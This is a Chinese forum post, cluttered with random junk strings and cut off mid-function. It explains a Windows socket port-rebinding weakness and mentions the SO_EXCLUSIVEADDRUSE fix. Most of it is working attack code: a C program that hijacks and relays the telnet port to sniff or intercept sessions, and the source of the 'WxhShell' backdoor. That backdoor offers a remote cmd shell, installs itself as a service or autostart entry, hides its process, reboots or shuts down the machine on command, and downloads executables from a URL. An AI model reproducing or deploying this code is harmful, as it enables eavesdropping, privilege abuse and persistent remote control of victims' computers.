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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0<.RA%dj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bL1m'^r C6jR=@42Q saddr.sin_family = AF_INET; 66\jV6eH7L +Gh7^v|" saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y#HI;Y^RP 6B6vP%H# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |PP.<ce\- gXy-Mpzp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gU;&$ ss
iok LE 这意味着什么?意味着可以进行如下的攻击: cb$-6ZE/ vFQ,5n;fF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vt1lR5 !{Z~<Ky 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LFf`K)q >jTp6tu, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <9eu1^g zT#`qCbT'J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :]WqfR)# 0*F}o)n/m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sKL:p3r R_N:#K.M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y;
).+si }6]0hWsN[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `u
XQ z7 X2yTlLdY #include XP3xJm3 #include p|[B
=.c{ #include l]6%lud8_ #include _}gtcyx DWORD WINAPI ClientThread(LPVOID lpParam); nwmW.(R4 int main() GF$`BGW { x#H
3=YD* WORD wVersionRequested; N#ioJ^}n: DWORD ret; X+82[Y,mB. WSADATA wsaData; 3EK9,:<Cf BOOL val; u2iXJmM* SOCKADDR_IN saddr; M;.ZM<Ga SOCKADDR_IN scaddr; W?Ww2Lo%Y int err; >:1P/U SOCKET s; szmmu*F,U: SOCKET sc; dl~|Izm int caddsize; cg{AMeW HANDLE mt; Log|%P\ DWORD tid; w_wslN,) wVersionRequested = MAKEWORD( 2, 2 ); iG<Som err = WSAStartup( wVersionRequested, &wsaData ); v)X\GmW7w if ( err != 0 ) { W+=o&V printf("error!WSAStartup failed!\n"); @n+=vC.xO return -1; ?cy4&]s } #,NvO!j<4 saddr.sin_family = AF_INET; mUoIJ3fv_, .uz|/Zy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vbG]mMJ |j~lkzPnV saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B.dT)@Lx0 saddr.sin_port = htons(23); ('[TLHP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vVxD!EL { s1j{x&OSq printf("error!socket failed!\n"); g(E"4M@t! return -1; v|';!p| } ^Q}eatEn val = TRUE; gl%`qf6:O //SO_REUSEADDR选项就是可以实现端口重绑定的 B&?sF" Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v6=-g$FG { R[B?C;+(O printf("error!setsockopt failed!\n"); \cJa;WM> return -1; PkuTg"; } (5Nv8H8| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `'S0*kMT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9 ;i\g= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rNDrp@A> w3T ]H_V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p{$p
$/A { F>hZ{ ret=GetLastError(); 0Q5^C!K printf("error!bind failed!\n"); !ZXUPH return -1; x.mrCJn) } cmwPuK$ listen(s,2); TFQ!7'xk) while(1) /8'S1!zc { 5 `/< v^ caddsize = sizeof(scaddr); iEyeX0nm //接受连接请求 Cfu=u *u sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qoMfSz"( if(sc!=INVALID_SOCKET) V@-)\RZm { ;3eKqr0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }f}}A= if(mt==NULL) s#9Ui#[=h { SGL|Ck printf("Thread Creat Failed!\n"); }iB|sl2J break; hsRvr`#m| } (qMj-l } ,M5}4E7L%s CloseHandle(mt); w f.T3 } !^c@shLN4 closesocket(s); dEa<g99[? WSACleanup(); $FTO return 0; m"eteA,"k_ } k(VB+k"3 DWORD WINAPI ClientThread(LPVOID lpParam) ,5
j"ruZ { Q,T"Zd Q SOCKET ss = (SOCKET)lpParam; a?h*eAAc. SOCKET sc; Hh;:`;}
unsigned char buf[4096]; q'[}9e`Q SOCKADDR_IN saddr; w*9br SK long num; |OO in]5 DWORD val; WiL2 DWORD ret; "_UdBG //如果是隐藏端口应用的话,可以在此处加一些判断 }n:?7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 KL,/2( saddr.sin_family = AF_INET; _*M42<wcO saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g`^X#-!( saddr.sin_port = htons(23); l\0w;:N3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n"Veem[_4g { `mfq
2bVc printf("error!socket failed!\n"); /UcV return -1; iSLGwTdLn } zw<p74DH val = 100; . 5y"38e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZFm`UXS { w8Q<r. ret = GetLastError(); )::>q5c return -1; EI>l-N2 } ?tdd3ai> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m0w;8uF2UV { D1
Z{W ret = GetLastError(); B<?[Mrdxw return -1; DB526O*
[ } wBj-m if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2|iV,uJ& { .0 )Y printf("error!socket connect failed!\n"); Yj|eji7y closesocket(sc); f>o,N{| closesocket(ss); inb^$v return -1; [jdFA<Is } INs!Ame2 while(1) e1myH6$W { C;+(Zp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hY5WJ; //如果是嗅探内容的话,可以再此处进行内容分析和记录 f"u*D,/sS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <:>SGSE9 num = recv(ss,buf,4096,0); n"PJ,ao if(num>0) }T^cEfX send(sc,buf,num,0); Y}*\[}l:&x else if(num==0) 'nQVj break; 7tM9u5FF num = recv(sc,buf,4096,0); EJ}!F?o if(num>0) g>0XxjP4 send(ss,buf,num,0); f*{
YFg?*& else if(num==0) sxKf&p; break; ?^mi3VM } `nXVE+E@ closesocket(ss); MTER(L closesocket(sc); mP38T{ return 0 ; Jb)#fH$L } hf/2vt
m *_ Z#O, #ge)2 ========================================================== WO4=Mte? Zv_.na/^K 下边附上一个代码,,WXhSHELL c}*2$1 %D$,;{ew ========================================================== V-I(WzR9y XfE?C:v #include "stdafx.h" lU^;Z6f {CG_P,FO #include <stdio.h> 3nZ9m #include <string.h> jCAC
` #include <windows.h> 4(neKr5\# #include <winsock2.h> =p^He! #include <winsvc.h> jr7C}B-Fb^ #include <urlmon.h> B_U{ s\VY FsB^CxVg #pragma comment (lib, "Ws2_32.lib") Md6]R-l@ #pragma comment (lib, "urlmon.lib") {Sl57!U5 OdWou|Gz #define MAX_USER 100 // 最大客户端连接数 xqXDxJlns #define BUF_SOCK 200 // sock buffer t>GfM #define KEY_BUFF 255 // 输入 buffer (bOpV>\Q7 Tu{&v'!j6 #define REBOOT 0 // 重启 :WI.LKlo~ #define SHUTDOWN 1 // 关机 pMg3fUIM zsU=sTsL #define DEF_PORT 5000 // 监听端口 |6UtW{2I/
\$aF&r<R #define REG_LEN 16 // 注册表键长度 9`jcC-;iv #define SVC_LEN 80 // NT服务名长度 fJ\sguZ ^_t%kmL` // 从dll定义API )VCzn~uf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P1b'% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pL1Q7&&c0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6iEhsL&K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zf4Ec-) fPi3sb`} // wxhshell配置信息 \T]EZ'+O struct WSCFG { f\+fo int ws_port; // 监听端口 Iz6y{E char ws_passstr[REG_LEN]; // 口令 WwF~d+>|C int ws_autoins; // 安装标记, 1=yes 0=no )15Z#`x char ws_regname[REG_LEN]; // 注册表键名 F-D]TRG/*] char ws_svcname[REG_LEN]; // 服务名 ANIz,LS char ws_svcdisp[SVC_LEN]; // 服务显示名 6)oLus char ws_svcdesc[SVC_LEN]; // 服务描述信息
;Sd\VR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lZ8CY int ws_downexe; // 下载执行标记, 1=yes 0=no #po5_dE\* char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" lf>*Y.!@me char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =.]l*6WV [S.ZJUns }; RsU3Gi_Zdz kt[:@Nda9 // default Wxhshell configuration wxm:7$4C struct WSCFG wscfg={DEF_PORT, tx"sH]n "xuhuanlingzhe", BQcE9~H 1, JGC=(; "Wxhshell", *`j-i "Wxhshell", _A<u#.yd "WxhShell Service", }?cGf-c "Wrsky Windows CmdShell Service", tt%MoQ) "Please Input Your Password: ", A*./,KT 1, JOjoiA " http://www.wrsky.com/wxhshell.exe", dC=)^( "Wxhshell.exe" uj%skOD6Z }; i{!T&8 xD&^j$Em // 消息定义模块 Lb{e,JH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Ype>x{ char *msg_ws_prompt="\n\r? for help\n\r#>"; @)kO=E d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "'g[1Li char *msg_ws_ext="\n\rExit."; 2^t#6XBk/ char *msg_ws_end="\n\rQuit."; uE[(cko char *msg_ws_boot="\n\rReboot..."; Om M=o*d char *msg_ws_poff="\n\rShutdown..."; +\li*G]:J char *msg_ws_down="\n\rSave to "; JKer//ng4 !R*-R.% char *msg_ws_err="\n\rErr!"; f<+4rHT char *msg_ws_ok="\n\rOK!"; bX.ja;; @i^~0A#q* char ExeFile[MAX_PATH]; $Vc~/> int nUser = 0; ut>4U'.H HANDLE handles[MAX_USER]; v7%X@j]ji int OsIsNt; t9&cE:n |AlR^N SERVICE_STATUS serviceStatus; yNm:[bOER SERVICE_STATUS_HANDLE hServiceStatusHandle; T!wo2EzE Te2zK7:
// 函数声明 <
RCLI| int Install(void); g8!wb{8?s int Uninstall(void); HTe<x int DownloadFile(char *sURL, SOCKET wsh); AamVms int Boot(int flag); =9kN_:- void HideProc(void); LlBN-9p int GetOsVer(void); liR? int Wxhshell(SOCKET wsl); e*+FpW@ void TalkWithClient(void *cs); =%zLh<3v int CmdShell(SOCKET sock); `/Nm
2K int StartFromService(void); {bO|409>W int StartWxhshell(LPSTR lpCmdLine); [^8n0{JiN Z%GTnG|rG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -XRn~=5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); MNH1D!} Y(\T-
bI // 数据结构和表定义 jjJ2>3avY SERVICE_TABLE_ENTRY DispatchTable[] = qQ!1t>j+H { Soie^$
Y {wscfg.ws_svcname, NTServiceMain}, Qb8KPpd {NULL, NULL} ZVeaTK4_
t }; ;['[?wk 0&ByEN99 // 自我安装 @!&}}"< int Install(void) .^$YfTabq { 3] 1-M char svExeFile[MAX_PATH]; OB~X/ HKEY key; "O8gJ0e strcpy(svExeFile,ExeFile); IVlf=k )
'j: // 如果是win9x系统,修改注册表设为自启动 +UJuB if(!OsIsNt) { _C\[DR0n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI~owK)%Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 47r_y\U h RegCloseKey(key); !_2n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `OymAyEYQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nC {K$ RegCloseKey(key); g*w<* return 0; K78rg/` } 1<ro7A4hK } X-Wz:NA } *&Z7m^`FQ else { fC}R4f7C L6>pGx // 如果是NT以上系统,安装为系统服务 vK$"# F~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *5<Sr q' if (schSCManager!=0) 1 nvTce { cI]WrI2CQa SC_HANDLE schService = CreateService ?Qb<-~~
j1 ( l{w#H|] schSCManager, smG>sEp2 wscfg.ws_svcname, _2b tfY1U wscfg.ws_svcdisp, ;,&8QcSVY SERVICE_ALL_ACCESS, &[2U$ `P`V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iJnU% SERVICE_AUTO_START, uP\lCqK, SERVICE_ERROR_NORMAL, Pmi#TW3X svExeFile, /~4"No@ NULL, (;VVCAoy NULL, `Q+moX NULL, &'l>rD^o NULL, -T6(hT\ NULL K/ &?VIi`z ); ND<!4!R^ if (schService!=0) `[zQf { XPB9~:: CloseServiceHandle(schService); :|o<SZ CloseServiceHandle(schSCManager); E&Qi@Ty strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pj?XLiM54% strcat(svExeFile,wscfg.ws_svcname); P,ua<B}L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bslrqUk_`= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @H !$[m3 RegCloseKey(key); g<*BLF return 0; /yLZ/<WN } 6 \B0^ } Q4t(@0e} CloseServiceHandle(schSCManager); xUF_1hY } RvJ['(- } ,wKe
fpV;5 "l={)=R return 1; tweY'x.{ } .kTG[)F0b JO14KY*% // 自我卸载 W&h[p_0 int Uninstall(void) 0iCPi)B { yBLK$@9 HKEY key; 7=@jARW& cNzt%MjP if(!OsIsNt) { (]/9-\6(# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bbxLBD' RegDeleteValue(key,wscfg.ws_regname); {%w!@- RegCloseKey(key); co_oMc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !~_zm*CqbZ RegDeleteValue(key,wscfg.ws_regname); y80ykGPT\& RegCloseKey(key); y {q*s8NY return 0; zU6a'tP } 3cj3u4y } !?
^h;)a } W"L&fV+3 else { JcJmds %iJ%{{f` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (2?G:+C 7 if (schSCManager!=0) W:i?t8y\y { z}SND9-" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PLM _#+R> if (schService!=0) xr0haN\p" { $o@R^sJ if(DeleteService(schService)!=0) { +Taa!hfys CloseServiceHandle(schService); ]E3U
J!! CloseServiceHandle(schSCManager); qDWsvx] return 0; m?s}QGSka } bg|!'1bD`5 CloseServiceHandle(schService); sqx`">R } F#xa`*AP CloseServiceHandle(schSCManager); Ou'?]{ } Y}6n]n;uR } }awzO# ?_\$ return 1; (3\Xy } r!}al5~& DaNW~rd{ // 从指定url下载文件 %/kyT%1 int DownloadFile(char *sURL, SOCKET wsh) G;gJNK"e { 4
;Qlu HRESULT hr; A5#y?Aq char seps[]= "/"; CeT~p6= char *token; mq /zTm char *file; "S~_[/q char myURL[MAX_PATH]; (_*
wt]"' char myFILE[MAX_PATH]; A`O <6
+.[\g|G strcpy(myURL,sURL); _9:@Vl]Q@ token=strtok(myURL,seps); Vbh6HqAHxJ while(token!=NULL) `,wu}F85 { PXP`ZLF file=token; ')+0nPV token=strtok(NULL,seps); h%d^Gq~ } &O[s: 7#;vG>] GetCurrentDirectory(MAX_PATH,myFILE); X
fz`^x>M strcat(myFILE, "\\"); E04l| strcat(myFILE, file); {TXOQ>gY send(wsh,myFILE,strlen(myFILE),0); $#o1MX send(wsh,"...",3,0); mxrG)n6Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vUQFQ if(hr==S_OK) 7J >Gd return 0; eX&Gw{U-f else ~E4"}n[3A# return 1; oN[Th >=ot8%.!,B } 2k7bK6=nm H;<!TX.zD // 系统电源模块 HU
B|bKy int Boot(int flag) (.K\Jg'Y6j { \zXlN HANDLE hToken; #nyv+x; TOKEN_PRIVILEGES tkp; ~#Md"3 xu%'GZ,o9 if(OsIsNt) { KB{RU'?f| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vnX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~4.r^)\ tkp.PrivilegeCount = 1; -237Lx$/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bv?0.{Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~QG?k if(flag==REBOOT) { fF?6j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + R$?2 return 0; pLoy } ed~R>F> else { "i'bTVs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DrS~lTf=> return 0; ?s}
% } Qqs"?Z,P } ?`sy%G else { k/&]KYwu if(flag==REBOOT) { -Q$nA>trKA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XOrfs sj return 0; 90 {tI X } 7u11&(Lz else { vg%QXaM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lhn8^hOJ/ return 0; hsce:TB } 2V#6q,2 } >POO-8Q f~& a- return 1; u'9gVU B } dK?);*w] D\L!F6taS // win9x进程隐藏模块 Yt1mB[&f^ void HideProc(void) N}/>r D { 8q_0,>w% 4-4?IwS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G^h_YjR`* if ( hKernel != NULL ) /MMtTB
H { i3V/`)iz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hw_o
w? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^^LjI FreeLibrary(hKernel); vd~U@-C=R } :=g.o;(/N *c]KHipUIS return; <,39_#H?F3 } W04av_u 5 P;foK)AM // 获取操作系统版本 4!%]fg}Um int GetOsVer(void) NXoK@Y { VK
.^v<Yo OSVERSIONINFO winfo; w-FnE}"l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z4Oo@3$\R GetVersionEx(&winfo); IlZu~B9c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IvU{Xm"qB return 1; N)OCSeh else UOI^c return 0; [STje8+V } 1t~({Pl<> }Jxq'B // 客户端句柄模块 l:e9y $_) int Wxhshell(SOCKET wsl) q(9%^cV6 { 4
eh=f!(+ SOCKET wsh; XoL[
r67Z struct sockaddr_in client; sWxK~Yg DWORD myID; ?z.Isvn ofCVbn while(nUser<MAX_USER) Lo3-X { qe?Ggz3p. int nSize=sizeof(client); mUwUs~PjA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w!,QxrOV~ if(wsh==INVALID_SOCKET) return 1; D$pj# wa?+qiWnrl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZJXqCo7O if(handles[nUser]==0) nk08>veG closesocket(wsh); (KF7zP else vo;5f[>4i nUser++; `7B14:\A } fEiJ~&{& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _Xh=&(/8@ sco
uO$K return 0; "Gh#`T0#a } )+GX<2_ ,VG9)K1K // 关闭 socket zzJ^x8#R void CloseIt(SOCKET wsh) f)gGH'yOQ { 6o
lV+ closesocket(wsh); kkfCAM nUser--; RjtC:H&XZ ExitThread(0); MSB%{7'o } x-~-nn\O pI^=B-7 // 客户端请求句柄 nZW4} ~0j void TalkWithClient(void *cs) >\\5"Sf { 5Fe-=BX( Qx.jCy@ SOCKET wsh=(SOCKET)cs; HD|sr{Z% char pwd[SVC_LEN]; z\$;' char cmd[KEY_BUFF]; wO.B~`y char chr[1]; 'Kd7l}e! int i,j; `i4I!E !u0U5>ccw while (nUser < MAX_USER) { .CmL7
5 5`yPT>*#m> if(wscfg.ws_passstr) { }9}w8R~E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N[ Q#R~Hn< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {{zua-F //ZeroMemory(pwd,KEY_BUFF); r`>~Lp` i=0; rgT%XhUS6f while(i<SVC_LEN) { XPVV+. rG5i-' // 设置超时
Ys+N,:#R fd_set FdRead; ;qG1r@o struct timeval TimeOut; V<W02\Hs FD_ZERO(&FdRead); [J:zE&aj FD_SET(wsh,&FdRead); ahoh9iJ TimeOut.tv_sec=8; 'Z$jBL TimeOut.tv_usec=0; Zih5/I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g5<ZS3tQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u;(K34!) |$ w0+bV* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0$?qoS pwd =chr[0]; 6m\*]nOy4 if(chr[0]==0xd || chr[0]==0xa) { <[FS%2,0mb pwd=0; {6Y xN& break; a[JZ5D } 5~-}}F i++; YiBOi?h9 } 9<~,n1b>x @2|G|C/]O} // 如果是非法用户,关闭 socket *|CLO|B) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &0i71!Oy } * T\> $uTlbAuv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X%35XC.n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &
]%\.m -YAO3 while(1) { n4XMN\:g{ B*BHF95! ZeroMemory(cmd,KEY_BUFF); 'iGMn_& W=M<
c@ // 自动支持客户端 telnet标准 >]C<j4 j=0; FcY$k%;'Q while(j<KEY_BUFF) { ;]"n?uo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;\q<zO@x cmd[j]=chr[0]; ew/KZE if(chr[0]==0xa || chr[0]==0xd) { @u<0_r
t cmd[j]=0; l#|J
rU! break; 'H
FwP\HX } (T4k~T`3 j++; UT% #K % } I}1fEw>8 ?Ip$;s // 下载文件 0rGj|@+; if(strstr(cmd,"http://")) { XZ;*>( send(wsh,msg_ws_down,strlen(msg_ws_down),0); l`oT: if(DownloadFile(cmd,wsh)) QM7[ O]@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7kOE/>P? else Kl!DKeF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w# xncH:1 } N.k+AQb else { 5=Zp%[# EF0Pt switch(cmd[0]) { `g2&{)3k 6{lG1\o // 帮助 '=-s1c@^ case '?': { ;cnnqT6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,q/tyGj break; G)4ZK#wz } ipgN<|`?@ // 安装 k`{RXx case 'i': { .59KE]u if(Install()) K%k XS send(wsh,msg_ws_err,strlen(msg_ws_err),0); aViJ else Qs~d_; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <e$5~Spc break; ^7J~W'hI } xNocGtS // 卸载 c&0;wgieg case 'r': { t*5z1T? if(Uninstall()) @G7w(>_T3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); QZ6[*_Z6 else Ax :3} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6yy|V~5 break; .ou!g&xu } 8 /5sv // 显示 wxhshell 所在路径
#_?426Wfs case 'p': { EKV+?jj$ char svExeFile[MAX_PATH]; ^cfkP(Y3kx strcpy(svExeFile,"\n\r"); z(c@(UD-_ strcat(svExeFile,ExeFile); s@.`"TF.7 send(wsh,svExeFile,strlen(svExeFile),0); N`y}Gs break; "u .)X3 }
yBJ/>SAcG // 重启 +e&m#d case 'b': { ~W]#9&yQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ 9[NH/.Z{ if(Boot(REBOOT)) HTR "mQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GMVC&^ else { byEvc[/>Ys closesocket(wsh); c13vEn!c ExitThread(0); C.b,]7i } Dlqn~ break; x&Q+|b% } Z[DetRc- // 关机 rC* sNy2 case 'd': {
rTWh(8T send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YlZYS'_ if(Boot(SHUTDOWN)) 7F>gj send(wsh,msg_ws_err,strlen(msg_ws_err),0); H9oXZSm else { 2GHXn:V closesocket(wsh); i*mZi4URN ExitThread(0);
'7S!6kd? } 34/]m/2NZK break; ]
P:NnKgK } [=]+lei // 获取shell 7,) 67G; case 's': { )*psDjZ7* CmdShell(wsh); $gj+v+%N closesocket(wsh); qcR|E`k-G ExitThread(0); t~+{Hr) #y break; RT8_@8 } Q#yu( // 退出 }1X11+/W case 'x': { Wto@u4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `'A(`. CL CloseIt(wsh); 3D 4]yR5 break; _WRR
3 } 4Zv.[V]iOO // 离开 kxr6sO~ case 'q': { :,xyVb+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^P3g9'WK closesocket(wsh); .(P@Bl]XJ WSACleanup(); .!7Fe)(x exit(1); $M}k%Z
break; Ak%no3:9 } b@{%qh,C } ft~| } CP F>^Mp# )V9Mcr*Ce6 // 提示信息 i?&4SG+2~K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rzYobOKd# } XudH } FOlA* U4U yi
AG'[ return; Zh@4_Z9n! } ]noP Et@=Ic^E // shell模块句柄 onWYT} c{ int CmdShell(SOCKET sock) pAUfG^v { +[X.-,yW STARTUPINFO si;
\
pe[V~F ZeroMemory(&si,sizeof(si)); 36x5 q 1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .dg 4gr\D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xy-$v PROCESS_INFORMATION ProcessInfo; #G[
*2h~99 char cmdline[]="cmd"; G>_42Rp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (d5vH)+A return 0; N>cp>&jV } oneSgJ I;Z`!u:+ // 自身启动模式 >~^mIu_BH int StartFromService(void) v
,G-k2$Qe { 8vX*SrM typedef struct OxmlzQ"vM { Ul7pxzj DWORD ExitStatus; @>
+^< DWORD PebBaseAddress; pZ@W6} DWORD AffinityMask; /`j K DWORD BasePriority; eK=m0 2 ULONG UniqueProcessId; W=;(t ULONG InheritedFromUniqueProcessId; YN5OuKMUd' } PROCESS_BASIC_INFORMATION; O_s9 oC@"^>4 PROCNTQSIP NtQueryInformationProcess;
